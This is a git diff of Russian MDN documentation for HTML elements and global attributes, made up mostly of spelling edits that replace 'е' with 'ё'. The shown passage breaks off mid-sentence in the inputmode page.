a/files/ru/web/html/element/template/index.html +++ b/files/ru/web/html/element/template/index.html @@ -26,7 +26,7 @@ translation_of: Web/HTML/Element/template <td>{{no_tag_omission}}</td> </tr> <tr> - <th scope="row">Разрешенные родители</th> + <th scope="row">Разрешённые родители</th> <td>Any element that accepts <a href="/en-US/docs/Web/Guide/HTML/Content_categories#Metadata_content">metadata content</a>, <a href="/en-US/docs/Web/Guide/HTML/Content_categories#Phrasing_content">phrasing content</a>, or <a href="/en-US/docs/Web/Guide/HTML/Content_categories#Script-supporting_elements">script-supporting elements</a>. Also allowed as a child of a {{HTMLElement("colgroup")}} element that does <em>not</em> have a {{htmlattrxref("span", "colgroup")}} attribute.</td> </tr> <tr> @@ -34,7 +34,7 @@ translation_of: Web/HTML/Element/template <td><a href="https://www.w3.org/TR/html-aria/#dfn-no-corresponding-role">Нет соответствующей роли</a></td> </tr> <tr> - <th scope="row">Разрешенные роли ARIA</th> + <th scope="row">Разрешённые роли ARIA</th> <td>Отсутствует</td> </tr> <tr> diff --git a/files/ru/web/html/element/tfoot/index.html b/files/ru/web/html/element/tfoot/index.html index c23f18e84c..f13b52ba26 100644 --- a/files/ru/web/html/element/tfoot/index.html +++ b/files/ru/web/html/element/tfoot/index.html @@ -26,7 +26,7 @@ translation_of: Web/HTML/Element/tfoot <td>The <span title="syntax-start-tag">start tag</span> is mandatory. The end tag may be omitted if the {{ HTMLElement("tbody") }} element is immediately followed by an, eventually implicitly-defined, {{ HTMLElement("tbody") }}, or if there is no more content in the parent {{ HTMLElement("table") }} element.</td> </tr> <tr> - <td>Разрешенные родительские элементы</td> + <td>Разрешённые родительские элементы</td> <td> A {{ HTMLElement("table") }} element. The {{ HTMLElement("tfoot") }} must appear after any {{ HTMLElement("caption") }}, {{ HTMLElement("colgroup") }} or {{ HTMLElement("thead") }} element. It can be before or after all {{ HTMLElement("tbody") }} and {{ HTMLElement("tr") }} elements, but not intermixed with them.<br> {{ HTMLVersionInline("4") }} The {{ HTMLElement("tfoot") }} element cannot be placed after any {{ HTMLElement("tbody") }} and {{ HTMLElement("tr") }} element. This restriction has been softened in HTML5.</td> </tr> @@ -49,7 +49,7 @@ translation_of: Web/HTML/Element/tfoot <li><span style="font-family: courier new;">center</span>, выравнивание содержимого по центру ячейки</li> <li><span style="font-family: courier new;">right</span>, выравнивание содержимого по правому краю ячейки</li> <li><span style="font-family: courier new;">justify</span>, выравнивание по ширине ячейки: добавление пробелов к тексту содержимого ячейки до тех пор, пока содержимое не выровняется от одного края ячейки до другого</li> - <li><span style="font-family: courier new;">char</span>, выравнивание текстового содержимого по специальному символу с минимальным смещением, определенным {{ htmlattrxref("char", "tbody") }} и {{ htmlattrxref("charoff", "tbody") }} атрибутами {{ unimplemented_inline("2212") }}.</li> + <li><span style="font-family: courier new;">char</span>, выравнивание текстового содержимого по специальному символу с минимальным смещением, определённым {{ htmlattrxref("char", "tbody") }} и {{ htmlattrxref("charoff", "tbody") }} атрибутами {{ unimplemented_inline("2212") }}.</li> </ul> <p>Если этот атрибут не задан, то значением по умолчанию является <span style="font-family: courier new;">left</span>.</p> @@ -66,7 +66,7 @@ translation_of: Web/HTML/Element/tfoot <dl> <dt>{{ htmlattrdef("bgcolor") }} {{ Non-standard_inline() }}</dt> - <dd>Этот атрибут определяет цвет фона каждой ячейки столбца. Это один из 6-ти значного шестнадцатеричного кода определенного в <a class="external" href="http://www.w3.org/Graphics/Color/sRGB" title="http://www.w3.org/Graphics/Color/sRGB">sRGB</a>, предваряется '#'. Может быть использован один из шестнадцати предопределенных строк: + <dd>Этот атрибут определяет цвет фона каждой ячейки столбца. Это один из 6-ти значного шестнадцатеричного кода определённого в <a class="external" href="http://www.w3.org/Graphics/Color/sRGB" title="http://www.w3.org/Graphics/Color/sRGB">sRGB</a>, предваряется '#'. Может быть использован один из шестнадцати предопределённых строк: <table style="width: 80%;"> <tbody> <tr> @@ -140,7 +140,7 @@ translation_of: Web/HTML/Element/tfoot <dl> <dt>{{ htmlattrdef("valign") }} {{ Deprecated_inline() }} в {{ HTMLVersionInline("4") }}, {{ obsolete_inline() }} в {{ HTMLVersionInline("5") }}</dt> - <dd>Этот атрибут задает вертикальное выравнивание текста в каждой строке ячеек заголовка таблицы. Возможные значения для этого атрибута: + <dd>Этот атрибут задаёт вертикальное выравнивание текста в каждой строке ячеек заголовка таблицы. Возможные значения для этого атрибута: <ul> <li><span style="font-family: courier new;">baseline</span>, which will put the text as close to the bottom of the cell as it is possible, but align it on the <a class="external" href="http://en.wikipedia.org/wiki/Baseline_%28typography%29" title="http://en.wikipedia.org/wiki/Baseline_(typography)">baseline</a> of the characters instead of the bottom of them. If characters are all of the size, this has the same effect as <span style="font-family: courier new;">bottom</span>.</li> <li><span style="font-family: courier new;">bottom</span>, which will put the text as close to the bottom of the cell as it is possible;</li> diff --git a/files/ru/web/html/element/title/index.html b/files/ru/web/html/element/title/index.html index 32c1165044..545f074d97 100644 --- a/files/ru/web/html/element/title/index.html +++ b/files/ru/web/html/element/title/index.html @@ -30,7 +30,7 @@ translation_of: Web/HTML/Element/title <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Метаданные">Метаданные</a>.</td> </tr> <tr> - <th scope="row">Разрешенное содержимое</th> + <th scope="row">Разрешённое содержимое</th> <td>Текст, который не является межэлементным {{glossary("Whitespace", "разделителем")}}.</td> </tr> <tr> @@ -38,11 +38,11 @@ translation_of: Web/HTML/Element/title <td>Открывающий и закрывающий теги обязательны. Обратите внимание, что отсутствие <code></title></code> заставляет браузер игнорировать остальную часть страницы.</td> </tr> <tr> - <th scope="row">Разрешенные родительские элементы</th> + <th scope="row">Разрешённые родительские элементы</th> <td>Элемент {{ HTMLElement("head") }}, который не содержит других элементов {{ HTMLElement("title") }}.</td> </tr> <tr> - <th scope="row">Разрешенные роли ARIA</th> + <th scope="row">Разрешённые роли ARIA</th> <td>Отсутствуют.</td> </tr> <tr> @@ -62,7 +62,7 @@ translation_of: Web/HTML/Element/title <h3 id="Заголовок_страницы_и_SEO">Заголовок страницы и SEO</h3> -<p>Содержимое заголовка страницы может иметь важное значение для поисковой оптимизации ({{glossary("SEO")}}). Как правило, более длинный описательный заголовок будет лучше ранжироваться ({{glossary("Ranking")}}), чем короткий или скучный. Не только содержимое заголовка является одним из компонентов, используемых алгоритмами для определения порядка, в котором перечисляются страницы в поисковой выдаче, но и сам заголовок является приемом, которым вы привлекаете внимание читателей бегло просматривающих результаты поиска.</p> +<p>Содержимое заголовка страницы может иметь важное значение для поисковой оптимизации ({{glossary("SEO")}}). Как правило, более длинный описательный заголовок будет лучше ранжироваться ({{glossary("Ranking")}}), чем короткий или скучный. Не только содержимое заголовка является одним из компонентов, используемых алгоритмами для определения порядка, в котором перечисляются страницы в поисковой выдаче, но и сам заголовок является приёмом, которым вы привлекаете внимание читателей бегло просматривающих результаты поиска.</p> <p>Несколько методических рекомендаций и советов для составления хороших заголовков:</p> @@ -85,7 +85,7 @@ translation_of: Web/HTML/Element/title <p>Важно указать такое значение <code>title</code>, которое описывает назначение страницы.</p> -<p>Обычная техника навигации для пользователей вспомогательных технологий - прочитать заголовок страницы и определить какой контент она содержит. Это потому, что навигация по странице для определения ее содержимого может занять время и, возможно, привести к путанице.</p> +<p>Обычная техника навигации для пользователей вспомогательных технологий - прочитать заголовок страницы и определить какой контент она содержит. Это потому, что навигация по странице для определения её содержимого может занять время и, возможно, привести к путанице.</p> <h3 id="Пример_2">Пример</h3> diff --git a/files/ru/web/html/element/track/index.html b/files/ru/web/html/element/track/index.html index d9d7f801d6..f7d61a50c9 100644 --- a/files/ru/web/html/element/track/index.html +++ b/files/ru/web/html/element/track/index.html @@ -69,7 +69,7 @@ translation_of: Web/HTML/Element/track <li><code>subtitles</code> <ul> <li>Субтитры обеспечивают перевод контента, который не может быть понят зрителем. Например, диалог или текст, который не является английским, в фильме на английском языке.</li> - <li>Субтитры могут содержать дополнительный контент, обычно дополнительную справочную информацию. Например, текст в начале фильмов «Звездных войн» или дата, время и место действия сцены.</li> + <li>Субтитры могут содержать дополнительный контент, обычно дополнительную справочную информацию. Например, текст в начале фильмов «Звёздных войн» или дата, время и место действия сцены.</li> </ul> </li> <li><code>captions</code> @@ -109,7 +109,7 @@ translation_of: Web/HTML/Element/track <h3 id="Типы_данных_дорожки">Типы данных дорожки</h3> -<p>Тип данных, которые трек добавляет на носитель, задается в атрибуте <code>kind</code>, который может принимать значения <code>subtitles</code>, <code>captions</code>, <code>descriptions</code>, <code>chapters</code> или <code>metadata</code>. Элемент указывает на исходный файл, содержащий синхронизированный по времени текст, который браузер предоставляет, когда пользователь запрашивает дополнительные данные.</p> +<p>Тип данных, которые трек добавляет на носитель, задаётся в атрибуте <code>kind</code>, который может принимать значения <code>subtitles</code>, <code>captions</code>, <code>descriptions</code>, <code>chapters</code> или <code>metadata</code>. Элемент указывает на исходный файл, содержащий синхронизированный по времени текст, который браузер предоставляет, когда пользователь запрашивает дополнительные данные.</p> <p>Отдельный <code>media</code> элемент не может иметь элементы <code>track</code> с одинаковыми значениями <code>kind</code>, <code>srclang</code> и <code>label</code>.</p> diff --git a/files/ru/web/html/element/u/index.html b/files/ru/web/html/element/u/index.html index a5df007d21..5c37e3ed2f 100644 --- a/files/ru/web/html/element/u/index.html +++ b/files/ru/web/html/element/u/index.html @@ -1,5 +1,5 @@ --- -title: '<u>: Элемент слабой аннотации (подчеркивание)' +title: '<u>: Элемент слабой аннотации (подчёркивание)' slug: Web/HTML/Element/u translation_of: Web/HTML/Element/u --- diff --git a/files/ru/web/html/element/video/index.html b/files/ru/web/html/element/video/index.html index ba4dfabd2f..9fb3ff9fb7 100644 --- a/files/ru/web/html/element/video/index.html +++ b/files/ru/web/html/element/video/index.html @@ -43,10 +43,10 @@ translation_of: Web/HTML/Element/video <dl> <dt>{{htmlattrdef("autoplay")}}</dt> - <dd><span id="result_box" lang="ru"><span class="hps">Логический</span> <span class="hps">атрибут</span><span>;</span> <span class="hps">если указан,</span> то <span class="hps">видео</span> <span class="hps">начнет воспроизводится </span></span><span lang="ru"><span class="hps">автоматически</span><span class="hps">, как только</span> <span class="hps">это будет возможно сделать без</span> <span class="hps">остановки</span><span>, чтобы закончить</span> <span class="hps">загрузку данных</span><span>.</span></span></dd> + <dd><span id="result_box" lang="ru"><span class="hps">Логический</span> <span class="hps">атрибут</span><span>;</span> <span class="hps">если указан,</span> то <span class="hps">видео</span> <span class="hps">начнёт воспроизводится </span></span><span lang="ru"><span class="hps">автоматически</span><span class="hps">, как только</span> <span class="hps">это будет возможно сделать без</span> <span class="hps">остановки</span><span>, чтобы закончить</span> <span class="hps">загрузку данных</span><span>.</span></span></dd> <dt>{{htmlattrdef("autobuffer")}} {{Non-standard_inline}} {{obsolete_inline}}</dt> - <dd>Логический атрибут; если указано, видео автоматически начнет буферизацию, даже если оно не настроено на автоматический запуск. Используйте этот атрибут только тогда, когда очень вероятно, что пользователь будет смотреть видео. Видео буферизуется до тех пор, пока не заполнится кэш мультимедиа. - <div class="note"><strong>Примечание:</strong> несмотря на то, что в ранних версиях HTML5 атрибут <code>autobuffer</code> присутствовал, в последующих выпусках он был удален. Также он был удален из Gecko 2.0 и других браузеров, а в некоторых никогда не реализовывался. Спецификация определяет новый перечислимый атрибут <code>preload</code>, вместо <code>autobuffer</code> с другим синтаксисом. {{bug(548523)}}</div> + <dd>Логический атрибут; если указано, видео автоматически начнёт буферизацию, даже если оно не настроено на автоматический запуск. Используйте этот атрибут только тогда, когда очень вероятно, что пользователь будет смотреть видео. Видео буферизуется до тех пор, пока не заполнится кэш мультимедиа. + <div class="note"><strong>Примечание:</strong> несмотря на то, что в ранних версиях HTML5 атрибут <code>autobuffer</code> присутствовал, в последующих выпусках он был удалён. Также он был удалён из Gecko 2.0 и других браузеров, а в некоторых никогда не реализовывался. Спецификация определяет новый перечислимый атрибут <code>preload</code>, вместо <code>autobuffer</code> с другим синтаксисом. {{bug(548523)}}</div> </dd> <dt>{{htmlattrdef("buffered")}}</dt> <dd>Атрибут для определения временных диапазонов буферизованных носителей. Этот атрибут содержит объект {{domxref("TimeRanges")}}.</dd> @@ -64,13 +64,13 @@ translation_of: Web/HTML/Element/video <dt>{{htmlattrdef("height")}}</dt> <dd><span class="short_text" id="result_box" lang="ru"><span class="hps">Высота</span> <span class="hps">области отображения</span> <span class="hps">видео</span> <span class="hps">в</span> <span class="hps">пикселях</span><span>.</span></span></dd> <dt>{{htmlattrdef("loop")}}</dt> - <dd><span id="result_box" lang="ru"><span class="hps">Логический</span> <span class="hps">атрибут</span><span>;</span> <span class="hps">если указан,</span> то <span class="hps">по окончанию проигрывания,</span> <span class="hps">видео</span> <span class="hps">автоматически</span> начнет воспроизведение с начала<span class="hps">.</span></span></dd> + <dd><span id="result_box" lang="ru"><span class="hps">Логический</span> <span class="hps">атрибут</span><span>;</span> <span class="hps">если указан,</span> то <span class="hps">по окончанию проигрывания,</span> <span class="hps">видео</span> <span class="hps">автоматически</span> начнёт воспроизведение с начала<span class="hps">.</span></span></dd> <dt>{{htmlattrdef("muted")}}</dt> <dd>Логический атрибут, который определяет значение по умолчания для аудио дорожки, содержащуюся в видео. <span id="result_box" lang="ru"><span class="hps">Если атрибут указан</span></span>, то аудио дорожка <span id="result_box" lang="ru"><span class="hps">воспроизводиться </span></span>не будет. З<span id="result_box" lang="ru"><span class="hps">начение</span> <span class="hps">атрибута по умолчанию</span> <span class="hps">- "ложь"</span><span>,</span> и это<span class="hps"> означает, что</span> <span class="hps">звук будет</span> <span class="hps">воспроизводиться, когда</span> <span class="hps">видео воспроизводится</span><span>.</span></span></dd> <dt>{{htmlattrdef("played")}}</dt> <dd>Атрибут {{domxref("TimeRanges")}}, указывающий все диапазоны воспроизводимого видео.</dd> <dt>{{htmlattrdef("preload")}}</dt> - <dd>Этот перечислимый атрибут предназначен для того, чтобы дать подсказку браузеру о том, что, по мнению автора, приведет к лучшему пользовательскому опыту. Он может иметь одно из следующих значений: + <dd>Этот перечислимый атрибут предназначен для того, чтобы дать подсказку браузеру о том, что, по мнению автора, приведёт к лучшему пользовательскому опыту. Он может иметь одно из следующих значений: <ul> <li><code>none</code>: указывает, что видео не должно быть предварительно загружено.</li> <li><code>metadata</code>: указывает, что предварительно загружаются метаданные видео (например, длина).</li> @@ -89,7 +89,7 @@ translation_of: Web/HTML/Element/video </div> </dd> <dt>{{htmlattrdef("poster")}}</dt> - <dd>URL-адрес, указывающий на постера, которое будет использовано, пока загружается видео или пока пользователь не нажмет на кнопку воспроизведения. Если этот атрибут не указан, ничего не отображается до тех пор, пока не будет доступен первый кадр; то первый кадр отображается как рамка постера.</dd> + <dd>URL-адрес, указывающий на постера, которое будет использовано, пока загружается видео или пока пользователь не нажмёт на кнопку воспроизведения. Если этот атрибут не указан, ничего не отображается до тех пор, пока не будет доступен первый кадр; то первый кадр отображается как рамка постера.</dd> <dt>{{htmlattrdef("src")}}</dt> <dd>The URL of the video to embed. This is optional; you may instead use the {{HTMLElement("source")}} element within the video block to specify the video to embed.</dd> <dt>{{htmlattrdef("width")}}</dt> diff --git a/files/ru/web/html/element/wbr/index.html b/files/ru/web/html/element/wbr/index.html index 85e6e5c732..353b10ecdd 100644 --- a/files/ru/web/html/element/wbr/index.html +++ b/files/ru/web/html/element/wbr/index.html @@ -18,7 +18,7 @@ translation_of: Web/HTML/Element/wbr <td><strong><a href="/en-US/docs/Web/Guide/HTML/Content_categories#Flow_content">Основной поток</a>, <a href="/en-US/docs/Web/Guide/HTML/Content_categories#Phrasing_content">фразовый контент</a>.</strong></td> </tr> <tr> - <th scope="row"><strong>Разрешенное содержимое</strong></th> + <th scope="row"><strong>Разрешённое содержимое</strong></th> <td><strong>Отсутствует</strong></td> </tr> <tr> @@ -26,11 +26,11 @@ translation_of: Web/HTML/Element/wbr <td><strong>It is an {{Glossary("empty element")}}; it must have a start tag, but must not have an end tag.</strong></td> </tr> <tr> - <th scope="row">Разрешенные родительские элементы</th> + <th scope="row">Разрешённые родительские элементы</th> <td><strong>Любой элемент принимающий <a href="/en-US/docs/Web/Guide/HTML/Content_categories#Phrasing_content">фразовый контент</a>.</strong></td> </tr> <tr> - <th scope="row">Разрешенные роли ARIA</th> + <th scope="row">Разрешённые роли ARIA</th> <td><strong>Любые</strong></td> </tr> <tr> @@ -46,11 +46,11 @@ translation_of: Web/HTML/Element/wbr <h2 id="Заметки"><strong>Заметки</strong></h2> -<p>На страницах в кодировке UTF-8, элемент <code><wbr></code> ведет себя как кодовое значение <code>U+200B ZERO-WIDTH SPACE</code> (пробел нулевой ширины). В частности, он ведет себя как кодовое значение Unicode Bidi BN, то есть он не влияет на порядок {{Glossary("bidi")}}-направления (двунаправленного потока) <code><div dir=rtl>123,<wbr>456</div></code>: отображается, если выражение не разбито на две строки, <code>123 456</code> и не <code>456,123</code>.</p> +<p>На страницах в кодировке UTF-8, элемент <code><wbr></code> ведёт себя как кодовое значение <code>U+200B ZERO-WIDTH SPACE</code> (пробел нулевой ширины). В частности, он ведёт себя как кодовое значение Unicode Bidi BN, то есть он не влияет на порядок {{Glossary("bidi")}}-направления (двунаправленного потока) <code><div dir=rtl>123,<wbr>456</div></code>: отображается, если выражение не разбито на две строки, <code>123 456</code> и не <code>456,123</code>.</p> <p>По той же причине, элемент <code><wbr></code> не вводит дефис в точке разрыва строки. Чтобы дефис отображался только в конце строки, используйте вместо него символ «мягкого дефиса» (<code>&shy;</code>).</p> -<p>Этот элемент был впервые реализован в Internet Explorer 5.5 и был официально определен в HTML5.</p> +<p>Этот элемент был впервые реализован в Internet Explorer 5.5 и был официально определён в HTML5.</p> <h2 id="Пример"><strong>Пример</strong></h2> diff --git a/files/ru/web/html/global_attributes/accesskey/index.html b/files/ru/web/html/global_attributes/accesskey/index.html index 3f1ef4a77e..9d5e443f85 100644 --- a/files/ru/web/html/global_attributes/accesskey/index.html +++ b/files/ru/web/html/global_attributes/accesskey/index.html @@ -8,7 +8,7 @@ translation_of: Web/HTML/Global_attributes/accesskey --- <div>{{HTMLSidebar("Global_attributes")}}</div> -<p><a href="/en-US/docs/Web/HTML/Global_attributes">Глобальный атрибут</a> <strong>accesskey </strong>дает возможность быстро перейти к элементу с помощью комбинации клавиш. Значение атрибута состоит из одного печатного символа (в том числе спец. символы, акценты и другие, которые можно написать с клавиатуры).</p> +<p><a href="/en-US/docs/Web/HTML/Global_attributes">Глобальный атрибут</a> <strong>accesskey </strong>даёт возможность быстро перейти к элементу с помощью комбинации клавиш. Значение атрибута состоит из одного печатного символа (в том числе спец. символы, акценты и другие, которые можно написать с клавиатуры).</p> <div>{{EmbedInteractiveExample("pages/tabbed/attribute-accesskey.html","tabbed-shorter")}}</div> diff --git a/files/ru/web/html/global_attributes/class/index.html b/files/ru/web/html/global_attributes/class/index.html index 08824dc4c9..06d41bd334 100644 --- a/files/ru/web/html/global_attributes/class/index.html +++ b/files/ru/web/html/global_attributes/class/index.html @@ -5,7 +5,7 @@ translation_of: Web/HTML/Global_attributes/class --- <div>{{HTMLSidebar("Global_attributes")}}</div> -<p><span class="seoSummary"><a href="/ru/docs/Web/HTML/Global_attributes">Глобальный атрибут</a> <code><strong>class</strong></code> это разделенный пробелом список регистров зависимых классов элемента. Классы позволяют CSS и Javascript выбирать и получать доступ с помощью <a href="/ru/docs/Web/CSS/Class_selectors">селекторов класса</a> или функций, таких как методы DOM {{domxref("document.getElementsByClassName")}}.</span></p> +<p><span class="seoSummary"><a href="/ru/docs/Web/HTML/Global_attributes">Глобальный атрибут</a> <code><strong>class</strong></code> это разделённый пробелом список регистров зависимых классов элемента. Классы позволяют CSS и Javascript выбирать и получать доступ с помощью <a href="/ru/docs/Web/CSS/Class_selectors">селекторов класса</a> или функций, таких как методы DOM {{domxref("document.getElementsByClassName")}}.</span></p> <div>{{EmbedInteractiveExample("pages/tabbed/attribute-class.html","tabbed-standard")}}</div> diff --git a/files/ru/web/html/global_attributes/contenteditable/index.html b/files/ru/web/html/global_attributes/contenteditable/index.html index 638ea9c94a..a374c5d132 100644 --- a/files/ru/web/html/global_attributes/contenteditable/index.html +++ b/files/ru/web/html/global_attributes/contenteditable/index.html @@ -19,7 +19,7 @@ translation_of: Web/HTML/Global_attributes/contenteditable <p>Если атрибут не указан, то его значение <em>наследуется</em> от своего родительского элемента.</p> -<p>Этот атрибут <em>принимает одно из определенных значений</em> и не является <em>булевским</em>. Это значит, что точное использование одного из значений <code>true, false</code> или пустая строка обязательно и такое сокращение, как <code><label contenteditable>Пример метки</label> </code>неразрешено. Верное использование — <code><label contenteditable="true">Пример метки</label></code>. </p> +<p>Этот атрибут <em>принимает одно из определённых значений</em> и не является <em>булевским</em>. Это значит, что точное использование одного из значений <code>true, false</code> или пустая строка обязательно и такое сокращение, как <code><label contenteditable>Пример метки</label> </code>неразрешено. Верное использование — <code><label contenteditable="true">Пример метки</label></code>. </p> <p>Вы можете установить цвет, используемый для вставки текста {{Glossary("caret")}}<br> со свойством CSS {{cssxref("caret-color")}}. </p> diff --git a/files/ru/web/html/global_attributes/data-_star_/index.html b/files/ru/web/html/global_attributes/data-_star_/index.html index df80ab58ae..3cbc4c9a60 100644 --- a/files/ru/web/html/global_attributes/data-_star_/index.html +++ b/files/ru/web/html/global_attributes/data-_star_/index.html @@ -12,7 +12,7 @@ translation_of: Web/HTML/Global_attributes/data-* <div class="hidden">Исходный код этого интерактивного примера хранится в репозитории GitHub. Если вы хотите внести свой вклад в проект интерактивных примеров, пожалуйста, клонируйте https://github.com/mdn/interactive-examples и отправьте нам запрос на извлечение.</div> <p>Все такие пользовательские данные доступны через интерфейс {{domxref ("HTMLElement")}} элемента, для которого установлен атрибут. Свойство {{domxref ("HTMLElement.dataset")}} предоставляет к ним доступ.<br> - Символ * может быть заменен любым именем, соответствующим производственному правилу имен xml, со следующими ограничениями:</p> + Символ * может быть заменён любым именем, соответствующим производственному правилу имён xml, со следующими ограничениями:</p> <ul> <li>имя не должно начинаться с xml, в любом случае для этих букв используется регистр;</li> diff --git a/files/ru/web/html/global_attributes/id/index.html b/files/ru/web/html/global_attributes/id/index.html index 11ec8acfa3..989ac64818 100644 --- a/files/ru/web/html/global_attributes/id/index.html +++ b/files/ru/web/html/global_attributes/id/index.html @@ -35,7 +35,7 @@ translation_of: Web/HTML/Global_attributes/id <tr> <td>{{SpecName('HTML WHATWG', "dom.html#the-id-attribute", "id")}}</td> <td>{{Spec2('HTML WHATWG')}}</td> - <td>Нет изменений с последнего "snapshot" (состояние сохраненное в определенный момент времени), {{SpecName('HTML5.1')}}</td> + <td>Нет изменений с последнего "snapshot" (состояние сохранённое в определённый момент времени), {{SpecName('HTML5.1')}}</td> </tr> <tr> <td>{{SpecName('HTML5.1', "dom.html#the-id-attribute", "id")}}</td> diff --git a/files/ru/web/html/global_attributes/index.html b/files/ru/web/html/global_attributes/index.html index 39e0fe294b..c662d66d36 100644 --- a/files/ru/web/html/global_attributes/index.html +++ b/files/ru/web/html/global_attributes/index.html @@ -23,9 +23,9 @@ translation_of: Web/HTML/Global_attributes <dl> <dt id="attr-accesskey"><code><a href="/ru/docs/Web/HTML/Global_attributes/accesskey">accesskey</a></code></dt> - <dd>Дает подсказку для создания комбинации клавиш для текущего элемента. Этот атрибут содержит список разделенных пробелами символов. Браузер должен использовать первый имеющийся в раскладке клавиатуры символ из списка.</dd> + <dd>Даёт подсказку для создания комбинации клавиш для текущего элемента. Этот атрибут содержит список разделённых пробелами символов. Браузер должен использовать первый имеющийся в раскладке клавиатуры символ из списка.</dd> <dt id="attr-class"><code><a href="/ru/docs/Web/HTML/Global_attributes/class">class</a></code></dt> - <dd>Это список разделенных пробелами классов элемента. Классы позволяют CSS и JavaScript выбирать и получать доступ к конкретным элементам через <a href="/ru/docs/Web/CSS/Class_selectors" title="В HTML документе, селекторы по CSS классу находят элементы с нужным классом.">селекторы по классу</a> или через функции, такие как метод {{domxref("Document.getElementsByClassName()")}}.</dd> + <dd>Это список разделённых пробелами классов элемента. Классы позволяют CSS и JavaScript выбирать и получать доступ к конкретным элементам через <a href="/ru/docs/Web/CSS/Class_selectors" title="В HTML документе, селекторы по CSS классу находят элементы с нужным классом.">селекторы по классу</a> или через функции, такие как метод {{domxref("Document.getElementsByClassName()")}}.</dd> <dt id="attr-contenteditable"><code><a href="/ru/docs/Web/HTML/Global_attributes/contenteditable">contenteditable</a></code></dt> <dd>Это перечислимый атрибут, указывающий, нужно ли предоставить пользователю возможность редактировать элемент. Если это так, браузер изменит свой виджет таким образом, чтобы позволить редактирование. Атрибут должен принимать одно из следующих значений: <ul> @@ -42,7 +42,7 @@ translation_of: Web/HTML/Global_attributes <ul> <li><code>ltr</code>, что расшифровывается как <em>left to right </em>(слева направо), и предназначено для языков, в которых пишут слева направо (как в русском);</li> <li><code>rtl</code>, что расшифровывается как <em>right to left</em> (справа налево), и предназначено для языков, в которых пишут справа налево (как в арабском);</li> - <li><code>auto</code> — позволяет принять решение пользовательскому приложению. Оно применяет базовый алгоритм — анализирует символы внутри элемента до тех пор, пока не найдет символ со строгим направлением, а затем применяет это направление ко всему элементу.</li> + <li><code>auto</code> — позволяет принять решение пользовательскому приложению. Оно применяет базовый алгоритм — анализирует символы внутри элемента до тех пор, пока не найдёт символ со строгим направлением, а затем применяет это направление ко всему элементу.</li> </ul> </dd> <dt id="attr-draggable"><code><a href="/ru/docs/Web/HTML/Global_attributes/draggable">draggable</a></code> {{experimental_inline}}</dt> @@ -56,12 +56,12 @@ translation_of: Web/HTML/Global_attributes <dd>Это перечислимый атрибут, указывающий типы содержимого, которое можно перетащить в элемент с помощью <a href="/ru/docs/Web/Guide/HTML/Drag_and_drop">Drag and Drop API</a>. Он может принимать одно из следующих значений: <ul> <li><code>copy</code>, указывающее, что перетаскивание создаст копию перетаскиваемого элемента;</li> - <li><code>move</code>, указывающее, что перетаскиваемый элемент будет перемещен в новое расположение;</li> + <li><code>move</code>, указывающее, что перетаскиваемый элемент будет перемещён в новое расположение;</li> <li><code>link</code> — создаст ссылку на перетаскиваемые данные.</li> </ul> </dd> <dt id="attr-hidden"><code><a href="/ru/docs/Web/HTML/Global_attributes/hidden">hidden</a></code></dt> - <dd>Это логический атрибут, указывающий, что элемент уже (или еще) не актуален. Можно использовать этот атрибут, например для того, чтобы спрятать части страницы, которые не должны быть видны до завершения авторизации. Браузер не будет отображать такие элементы. Этот атрибут не должен использоваться, чтобы скрыть содержимое, которое может быть показано на законных основаниях.</dd> + <dd>Это логический атрибут, указывающий, что элемент уже (или ещё) не актуален. Можно использовать этот атрибут, например для того, чтобы спрятать части страницы, которые не должны быть видны до завершения авторизации. Браузер не будет отображать такие элементы. Этот атрибут не должен использоваться, чтобы скрыть содержимое, которое может быть показано на законных основаниях.</dd> <dt id="attr-id"><code><a href="/ru/docs/Web/HTML/Global_attributes/id">id</a></code></dt> <dd>Определяет идентификатор (ID), который должен быть уникален для всего документа. Он предназначен для идентификации элемента при создании ссылок на него, исполнении скриптов или применении стилей (посредством CSS).</dd> <dt id="attr-itemid"><code><a href="/ru/docs/Web/HTML/Global_attributes/itemid">itemid</a></code> {{experimental_inline}}</dt> @@ -71,7 +71,7 @@ translation_of: Web/HTML/Global_attributes <dt id="attr-itemtype"><code><a href="/ru/docs/Web/HTML/Global_attributes/itemtype">itemtype</a></code> {{experimental_inline}}</dt> <dd>Эти атрибуты относятся к определению <a class="external" href="http://html.spec.whatwg.org/multipage/microdata.html">микроданных</a>.</dd> <dt id="attr-lang"><code><a href="/ru/docs/Web/HTML/Global_attributes/lang">lang</a></code></dt> - <dd>Участвует в определении языка элемента, языка написания нередактируемых элементов или языка, на котором должны быть написаны редактируемые элементы. Содержит единственное значение в формате, определенном в документе IETF <a class="external" href="http://www.ietf.org/rfc/bcp/bcp47.txt" title="Tags for Identifying Languages"><em>BCP47</em></a>. <a href="#attr-xml:lang"><strong>xml:lang</strong></a> имеет приоритет над ним.</dd> + <dd>Участвует в определении языка элемента, языка написания нередактируемых элементов или языка, на котором должны быть написаны редактируемые элементы. Содержит единственное значение в формате, определённом в документе IETF <a class="external" href="http://www.ietf.org/rfc/bcp/bcp47.txt" title="Tags for Identifying Languages"><em>BCP47</em></a>. <a href="#attr-xml:lang"><strong>xml:lang</strong></a> имеет приоритет над ним.</dd> <dt id="attr-spellcheck"><code><a href="/ru/docs/Web/HTML/Global_attributes/spellcheck">spellcheck</a></code> {{experimental_inline}}</dt> <dd>Это перечислимый атрибут, определяющий, может ли содержимое элемента быть проверено на наличие орфографических ошибок. Он может принимать одно из следующих значений: <ul> @@ -94,7 +94,7 @@ translation_of: Web/HTML/Global_attributes <dt id="attr-translate"><code><a href="/ru/docs/Web/HTML/Global_attributes/translate">translate</a></code></dt> <dd>Это перечислимый атрибут, используемый для того, чтобы указать, следует ли переводить значения атрибутов элемента и его текстовое содержимое (содержимое узла {{domxref("Text")}}) при локализации страницы. Этот атрибут может принимать следующие значения: <ul> - <li><em>пустая строка</em> или <code>"yes"</code> указывает, что элемент должен быть переведен;</li> + <li><em>пустая строка</em> или <code>"yes"</code> указывает, что элемент должен быть переведён;</li> <li><code>"no</code>" указывает, что элемент не должен быть переведен.</li> </ul> </dd> diff --git a/files/ru/web/html/global_attributes/inputmode/index.html b/files/ru/web/html/global_attributes/inputmode/index.html index 14b98a01bc..8f6bd811ec 100644 --- a/files/ru/web/html/global_attributes/inputmode/index.html +++ b/files/ru/web/html/global_attributes/inputmode/index.html @@ -17,7 +17,7 @@ translation_of: Web/HTML/Global_attributes/inputmode <dt><code>numeric</code></dt> <dd>Числовая раскладка клавиатуры; числа от 0 до 9. Устройства могут показывать или нет символ минуса (отрицательное значение).</dd> <dt><code>tel</code></dt> - <dd>Раскладка для ввода номера телефона, включая числа от 